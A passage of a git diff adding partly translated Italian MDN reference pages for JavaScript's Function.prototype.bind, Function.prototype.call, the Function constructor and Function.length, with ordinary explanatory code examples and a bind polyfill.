+<p>La funzione <code>bind()</code> crea una nuova <strong>funzione associata</strong> <strong>(BF, bound function)</strong>. Un BF è un <em>exotic function object </em>(oggetto funzione esotico, un termine di ECMAScript 2015) che racchiude l'oggetto funzione originale. Chiamare un BF generalmente comporta l'esecuzione della sua funzione <em>wrapped</em> (avvolta).<br>
+ Un BF ha le seguenti proprietà interne:</p>
+
+<ul>
+ <li><strong>[[BoundTargetFunction]]</strong> - l'oggetto funzione avvolto;</li>
+ <li><strong>[[BoundThis]]</strong> - il valore che viene sempre passato come questo valore quando si chiama la funzione wrapped.</li>
+ <li><strong>[[BoundArguments]] - </strong>un elenco di valori i cui elementi vengono utilizzati come primi argomenti per qualsiasi chiamata alla funzione wrapped.</li>
+ <li><strong>[[Call]]</strong> - esegue il codice associato a questo oggetto. Invocato tramite un'espressione di chiamata di funzione. Gli argomenti del metodo interno sono un valore e un elenco contenente gli argomenti passati alla funzione da un'espressione di chiamata.</li>
+</ul>
+
+<p>Quando viene chiamata la funzione associata, chiama il metodo interno <strong>[[Call]]</strong> su<strong> [[BoundTargetFunction]]</strong>, con i seguenti argomenti <code>call(boundThis, ...args)</code>. Dove, <code>boundThis</code> è <strong>[[BoundThis]]</strong>, <code>args</code> è <strong>[[BoundArguments]] </strong>seguito dagli argomenti passati dalla chiamata alla funzione.</p>
+
+<p>Una funzione associata (bound function) può anche essere costruita usando l'operatore <a href="/it/docs/Web/JavaScript/Reference/Operators/new">new</a>: agendo in tal modo si comporta come se la funzione obiettivo fosse stata invece costruita. Il valore <code>this</code> fornito viene ignorato, mentre gli argomenti preposti sono forniti alla funzione emulata.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Creare_una_funzione_associata">Creare una funzione associata</h3>
+
+<p>L'uso più semplice di <code>bind()</code> è di creare una funzione che, indipendentemente da come viene chiamata, viene chiamata con un particolare valore. Un errore comune per i nuovi programmatori JavaScript consiste nell'estrarre un metodo da un oggetto, in seguito chiamare tale funzione e aspettarsi che utilizzi l'oggetto originale come tale (ad esempio, utilizzando tale metodo nel codice basato sul callback). Senza particolare cura, tuttavia, l'oggetto originale viene solitamente perso. La creazione di una funzione associata dalla funzione, utilizzando l'oggetto originale, risolve in modo chiaro questo problema:</p>
+
+<pre class="brush: js">this.x = 9;    // questo si riferisce all'oggetto "finestra" globale qui nel browser
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var retrieveX = module.getX;
+retrieveX();
+// returns 9 - restituisce 9 - La funzione viene richiamata nell'ambito globale
+
+// Create a new function with 'this' bound to module
+// Crea una nuova funzione con 'this' associato al modulo
+// I nuovi programmatori potrebbero confondere il
+// global var x con la proprietà del modulo x <code>var boundGetX = retrieveX.bind(module);</code>
+boundGetX(); // 81
+</pre>
+
+<h3 id="Funzioni_parzialmente_applicate">Funzioni parzialmente applicate</h3>
+
+<p>Il prossimo uso più semplice di bind() è quello di creare una funzione con argomenti iniziali pre-specificati. Questi argomenti (se presenti) seguono il valore fornito e vengono quindi inseriti all'inizio degli argomenti passati alla funzione di destinazione, seguiti dagli argomenti passati alla funzione associata, ogni volta che viene chiamata la funzione associata.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Crea una funzione con un argomento principale preimpostato
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList();
+// [37]
+
+var list3 = leadingThirtysevenList(1, 2, 3);
+// [37, 1, 2, 3]
+</pre>
+
+<h3 id="Con_setTimeout">Con <code>setTimeout</code></h3>
+
+<p>Di default all'interno di {{domxref("window.setTimeout()")}}, la parola chiave <code>this</code> verrà impostata sull'oggetto {{ domxref("window") }} (or <code>global</code>). Quando si lavora con metodi di classe che richiedono questo <code>this</code> riferimento alle istanze di classe, è possibile associarlo esplicitamente alla funzione di callback, al fine di mantenere l'istanza.</p>
+
+<pre class="brush: js">function LateBloomer() {
+  this.petalCount = Math.floor(Math.random() * 12) + 1;
+}
+
+// Dichiarare apertura dopo un ritardo di 1 secondo
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log('Sono un bel fiore con ' +
+    this.petalCount + ' petali!');
+};
+
+var flower = new LateBloomer();
+flower.bloom();
+// dopo 1 secondo, attiva il metodo 'declare'</pre>
+
+<h3 id="Funzioni_associate_utilizzate_come_costruttori">Funzioni associate utilizzate come costruttori</h3>
+
+<div class="warning">
+<p><strong>Warning:</strong> Questa sezione dimostra capacità JavaScript e documenta alcuni casi limite del metodo bind(). I metodi mostrati di seguito non sono il modo migliore di fare le cose e probabilmente non dovrebbero essere usati in nessun ambiente di produzione.</p>
+</div>
+
+<p>Le funzioni associate sono automaticamente utilizzabili con l'operatore {{jsxref("Operators/new", "new")}} per costruire nuove istanze create dalla funzione target. Quando una funzione associata viene utilizzata per costruire un valore, la condizione viene ignorata. Tuttavia, gli argomenti forniti sono ancora preposti alla chiamata del costruttore:</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+// non supportato nel polyfill di seguito,
+// funziona bene con il bind nativo:
+
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>Note that you need do nothing special to create a bound function for use with {{jsxref("Operators/new", "new")}}. The corollary is that you need do nothing special to create a bound function to be called plainly, even if you would rather require the bound function to only be called using {{jsxref("Operators/new", "new")}}.</p>
+
+<pre class="brush: js">// Example can be run directly in your JavaScript console
+// ...continuing from above
+
+// Can still be called as a normal function
+// (although usually this is undesired)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt;  '0,13'
+</pre>
+
+<p>If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.</p>
+
+<h3 id="Creating_shortcuts">Creating shortcuts</h3>
+
+<p><code>bind()</code> is also helpful in cases where you want to create a shortcut to a function which requires a specific <strong><code>this</code></strong> value.</p>
+
+<p>Take {{jsxref("Array.prototype.slice")}}, for example, which you want to use for converting an array-like object to a real array. You could create a shortcut like this:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ...
+
+slice.apply(arguments);
+</pre>
+
+<p>With <code>bind()</code>, this can be simplified. In the following piece of code, <code>slice</code> is a bound function to the {{jsxref("Function.prototype.apply()", "apply()")}} function of {{jsxref("Function.prototype")}}, with the <strong><code>this</code></strong> value set to the {{jsxref("Array.prototype.slice()", "slice()")}} function of {{jsxref("Array.prototype")}}. This means that additional <code>apply()</code> calls can be eliminated:</p>
+
+<pre class="brush: js">// same as "slice" in the previous example
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can partially work around this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of <code>bind()</code> in implementations that do not natively support it.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+  Function.prototype.bind = function(oThis) {
+    if (typeof this !== 'function') {
+      // closest thing possible to the ECMAScript 5
+      // internal IsCallable function
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var aArgs   = Array.prototype.slice.call(arguments, 1),
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          return fToBind.apply(this instanceof fNOP
+                 ? this
+                 : oThis,
+                 aArgs.concat(Array.prototype.slice.call(arguments)));
+        };
+
+    if (this.prototype) {
+      // Function.prototype doesn't have a prototype property
+      fNOP.prototype = this.prototype;
+    }
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+}
+</pre>
+
+<p>Some of the many differences (there may well be others, as this list does not seriously attempt to be exhaustive) between this algorithm and the specified algorithm are:</p>
+
+<ul>
+ <li>The partial implementation relies on {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} and {{jsxref("Function.prototype.apply()")}}, built-in methods to have their original values.</li>
+ <li>The partial implementation creates functions that do not have immutable "poison pill" {{jsxref("Function.caller", "caller")}} and <code>arguments</code> properties that throw a {{jsxref("Global_Objects/TypeError", "TypeError")}} upon get, set, or deletion. (This could be added if the implementation supports {{jsxref("Object.defineProperty")}}, or partially implemented [without throw-on-delete behavior] if the implementation supports the {{jsxref("Object.defineGetter", "__defineGetter__")}} and {{jsxref("Object.defineSetter", "__defineSetter__")}} extensions.)</li>
+ <li>The partial implementation creates functions that have a <code>prototype</code> property. (Proper bound functions have none.)</li>
+ <li>The partial implementation creates bound functions whose {{jsxref("Function.length", "length")}} property does not agree with that mandated by ECMA-262: it creates functions with length 0, while a full implementation, depending on the length of the target function and the number of pre-specified arguments, may return a non-zero length.</li>
+</ul>
+
+<p>If you choose to use this partial implementation, <strong>you must not rely on those cases where behavior deviates from ECMA-262, 5th edition!</strong> With some care, however (and perhaps with additional modification to suit specific needs), this partial implementation may be a reasonable bridge to the time when <code>bind()</code> is widely implemented according to the specification.</p>
+
+<p>Please check <a href="https://github.com/Raynos/function-bind">https://github.com/Raynos/function-bind</a> for a more thorough solution!</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.bind")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/call/index.html b/files/it/web/javascript/reference/global_objects/function/call/index.html
new file mode 100644
index 0000000000..54acd401ca
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/call/index.html
@@ -0,0 +1,175 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Reference/Global_Objects/Function/call
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Il metodo <code><strong>call()</strong></code> esegue una funzione con un dato valore <code>this</code> e argomenti passati singolarmente.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> Mentre la sintassi di questa funzione è quasi identica a quella di {{jsxref("Function.prototype.apply", "apply()")}}, la differenza fondamentale è che <code>call()</code> accetta una <strong>lista di argomenti</strong> mentre <code>apply()</code> accetta un <strong>singolo array di argomenti</strong>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/function-call.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>func</var>.call([<var>thisArg</var>[, <var>arg1</var>, <var>arg2</var>, ...<var>argN</var>]])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code><var>thisArg</var></code> {{optional_inline}}</dt>
+ <dd>
+ <p>Il valore da usare come <code>this</code> quando si esegue <code><var>func</var></code>.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Attenzione:</strong> In certi casi, <code><var>thisArg</var></code> potrebbe non essere il valore reale visto dal metodo.</p>
+
+ <p>Se il metodo è una funzione in {{jsxref("Strict_mode", "non-strict mode", "", 1)}}, {{jsxref("Global_Objects/null", "null")}} e {{jsxref("Global_Objects/undefined", "undefined")}} sarà sostituito dall'oggetto globale e i valori di tipo primitiva verranno convertiti in oggetti.</p>
+ </div>
+ </dd>
+ <dt><code><var>arg1</var>, <var>arg2</var>, ...<var>argN</var></code> {{optional_inline}}</dt>
+ <dd>Argomenti per la funzione.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Il risultato dell'esecuzione della funzione con il <code><strong>this</strong></code> e gli argomenti specificati.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>call()</code> consente a una funzione/metodo appartenente a un oggetto di essere essere assegnata e chiamata per un oggetto diverso..</p>
+
+<p><code>call()</code> fornisce un nuova valore di <code>this</code> alla funzione/metodo. Con <code>call()</code>, si può scrivere un metodo una volta ed ereditarlo in un altro oggetto senza dover riscrivere il metodo per il nuovo oggetto.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_call_per_collegare_costruttori_per_un_oggetto">Usare <code>call</code> per collegare costruttori per un oggetto</h3>
+
+<p>Si può usare <code>call</code> per collegare costruttori per un oggetto (simile a Java).</p>
+
+<p>Nell'esempio seguente, il costruttore per l'oggetto <code>Product</code> è definito con 2 parametri: <code>name</code> e <code>price</code>.</p>
+
+<p>Due altre funzioni, <code>Food</code> e <code>Toy</code>, invocano <code>Product</code>, passando <code>this</code>, <code>name</code>, e <code>price</code>. <code>Product</code> inizializza le proprietà <code>name</code> e <code>price</code>. Entrambe le funzioni specializzate definiscono la <code>category</code>.</p>
+
+<pre class="brush: js">function Product(name, price) {
+  this.name = name;
+  this.price = price;
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'food';
+}
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'toy';
+}
+
+const cheese = new Food('feta', 5);
+const fun = new Toy('robot', 40);
+</pre>
+
+<h3 id="Usare_call_per_invocare_una_funzione_anonima">Usare <code>call</code> per invocare una funzione anonima</h3>
+
+<p>In questo esempio, viene create una funzione anonima e usato <code>call</code> per invocarla su ogni oggetto di un array.</p>
+
+<p>Lo scopo principale della funzione anonima qui è di aggiungere una funzione <code>print</code> o ogni oggetto il quale è in grado di stampare il corretto indice dell'oggetto nell'array.</p>
+
+<div class="blockIndicator note">
+<p>Passare l'oggetto come valore <code>this</code> non è strettamente necessario ma è fatto a scopo esplicativo.</p>
+</div>
+
+<pre class="brush: js">const animals = [
+  { species: 'Lion', name: 'King' },
+  { species: 'Whale', name: 'Fail' }
+];
+
+for (let i = 0; i &lt; animals.length; i++) {
+  (function(i) {
+    this.print = function() {
+      console.log('#' + i + ' ' + this.species
+                  + ': ' + this.name);
+    }
+    this.print();
+  }).call(animals[i], i);
+}
+</pre>
+
+<h3 id="Usare_call_per_invocare_una_funzione_e_specificare_il_contesto_per_this">Usare <code>call</code> per invocare una funzione e specificare il contesto per  '<code>this</code>'</h3>
+
+<p>Nell'esempio sotto, quando viene eseguita <code>greet</code>, il valore di <code>this</code> verrà legato all'oggetto <code>obj</code>.</p>
+
+<pre class="brush: js">function greet() {
+  const reply = [this.animal, 'typically sleep between', this.sleepDuration].join(' ');
+  console.log(reply);
+}
+
+const obj = {
+  animal: 'cats', sleepDuration: '12 and 16 hours'
+};
+
+greet.call(obj);  // cats typically sleep between 12 and 16 hours
+</pre>
+
+<h3 id="Usare_call_per_invocare_una_funzione_senza_specificare_il_primo_parametro">Usare <code>call</code> per invocare una funzione senza specificare il primo parametro</h3>
+
+<p>Nell'esempio sotto, viene invocata la funzione <code>display</code> senza passare il primo parametro. Se il primo parametro non è passato il valore di <code>this</code> è legato all'oggetto globale.</p>
+
+<pre class="brush: js">var sData = 'Wisen';
+
+function display() {
+  console.log('sData value is %s ', this.sData);
+}
+
+display.call();  // sData value is Wisen</pre>
+
+<div class="note">
+<p><strong>Attenzione:</strong> In strict mode il valore di <code>this</code> sarà <code>undefined</code>. Vedere sotto.</p>
+</div>
+
+<pre class="brush: js">'use strict';
+
+var sData = 'Wisen';
+
+function display() {
+  console.log('sData value is %s ', this.sData);
+}
+
+display.call(); // Cannot read the property of 'sData' of undefined</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Function.call")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>
+  <p><a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></p>
+ </li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/index.html b/files/it/web/javascript/reference/global_objects/function/index.html
new file mode 100644
index 0000000000..4ef63fb80b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/index.html
@@ -0,0 +1,237 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Global_Objects/Function
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Function</code> constructor</strong> creates a new <code>Function</code> object. In JavaScript every function is actually a <code>Function</code> object.</p>
+
+<p>gge</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p>
+
+<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("eval")}} with code for a function expression.</p>
+</div>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Properties_and_Methods_of_Function">Properties and Methods of <code>Function</code></h2>
+
+<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p>
+
+<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div>
+
+<h3 id="Methods">Methods</h3>
+
+<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div>
+
+<h2 id="Function_instances"><code>Function</code> instances</h2>
+
+<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Specifying_arguments_with_the_Function_constructor">Specifying arguments with the <code>Function</code> constructor</h3>
+
+<p>The following code creates a <code>Function</code> object that takes two arguments.</p>
+
+<pre class="brush: js">// Example can be run directly in your JavaScript console
+
+// Create a function that takes two arguments and returns the sum of those arguments
+var adder = new Function('a', 'b', 'return a + b');
+
+// Call the function
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>The arguments "<code>a</code>" and "<code>b</code>" are formal argument names that are used in the function body, "<code>return a + b</code>".</p>
+
+<h3 id="A_recursive_shortcut_to_massively_modify_the_DOM">A recursive shortcut to massively modify the DOM</h3>
+
+<p>Creating functions with the <code>Function</code> constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the <code>Function</code> constructor for each new query if you want to avoid closures.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example - a recursive shortcut to massively modify the DOM&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+var domQuery = (function() {
+  var aDOMFunc = [
+    Element.prototype.removeAttribute,
+    Element.prototype.setAttribute,
+    CSSStyleDeclaration.prototype.removeProperty,
+    CSSStyleDeclaration.prototype.setProperty
+  ];
+
+  function setSomething(bStyle, sProp, sVal) {
+    var bSet = Boolean(sVal), fAction = aDOMFunc[bSet | bStyle &lt;&lt; 1],
+        aArgs = Array.prototype.slice.call(arguments, 1, bSet ? 3 : 2),
+        aNodeList = bStyle ? this.cssNodes : this.nodes;
+
+    if (bSet &amp;&amp; bStyle) { aArgs.push(''); }
+    for (
+      var nItem = 0, nLen = this.nodes.length;
+      nItem &lt; nLen;
+      fAction.apply(aNodeList[nItem++], aArgs)
+    );
+    this.follow = setSomething.caller;
+    return this;
+  }
+
+  function setStyles(sProp, sVal) { return setSomething.call(this, true, sProp, sVal); }
+  function setAttribs(sProp, sVal) { return setSomething.call(this, false, sProp, sVal); }
+  function getSelectors() { return this.selectors; };
+  function getNodes() { return this.nodes; };
+
+  return (function(sSelectors) {
+    var oQuery = new Function('return arguments.callee.follow.apply(arguments.callee, arguments);');
+    oQuery.selectors = sSelectors;
+    oQuery.nodes = document.querySelectorAll(sSelectors);
+    oQuery.cssNodes = Array.prototype.map.call(oQuery.nodes, function(oInlineCSS) { return oInlineCSS.style; });
+    oQuery.attributes = setAttribs;
+    oQuery.inlineStyle = setStyles;
+    oQuery.follow = getNodes;
+    oQuery.toString = getSelectors;
+    oQuery.valueOf = getNodes;
+    return oQuery;
+  });
+})();
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div class="testClass"&gt;Lorem ipsum&lt;/div&gt;
+&lt;p&gt;Some text&lt;/p&gt;
+&lt;div class="testClass"&gt;dolor sit amet&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+domQuery('.testClass')
+  .attributes('lang', 'en')('title', 'Risus abundat in ore stultorum')
+  .inlineStyle('background-color', 'black')('color', 'white')('width', '100px')('height', '50px');
+&lt;/script&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/length/index.html b/files/it/web/javascript/reference/global_objects/function/length/index.html
new file mode 100644
index 0000000000..6e305fb3ed
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/length/index.html
@@ -0,0 +1,87 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Global_Objects/Function/length
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef}}</div>
+
+<p>La proprietà <code><strong>length</strong></code> indica il numero di parametri che la funzione si aspetta di ricevere.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-length.html")}}</p>
+
+
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>length</code> è una proprietà di un oggetto {{jsxref("Function")}} che indica quanti argomenti la funzione si aspetta, cioè il numero di parametri formali. Questo numero esclude il {{jsxref("rest_parameters", "rest parameter", "", 1)}} e include solo i parametri prima del primo con un valore predefinito. Al contrario, {{jsxref("Functions_and_function_scope/arguments/length", "arguments.length")}} è locale a una funzione e fornisce il numero di argomenti effettivamente passati alla funzione.</p>
+
+<h3 id="Data_property_of_the_Function_constructor">Data property of the Function constructor</h3>
+
+<p>Il costruttore  {{jsxref("Function")}} è esso stesso un oggetto {{jsxref("Function")}}. La sua proprietà <code>length</code> ha valore 1. Gli attributi delle proprietà sono: Writable: <code>false</code>, Enumerable: <code>false</code>, Configurable: <code>false</code>.</p>
+
+<h3 id="Property_of_the_Function_prototype_object">Property of the Function prototype object</h3>
+
+<p>La proprietà <code>length</code> del prototype di un oggetto {{jsxref("Function")}} ha valore 0.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 etc. */
+
+console.log((function(...args) {}).length);
+// 0, rest parameter is not counted
+
+console.log((function(a, b = 1, c) {}).length);
+// 1, only parameters before the first one with
+// a default value is counted</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Gli attributi <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">configurabili</span></font> di queste proprietà diventano <code>true</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
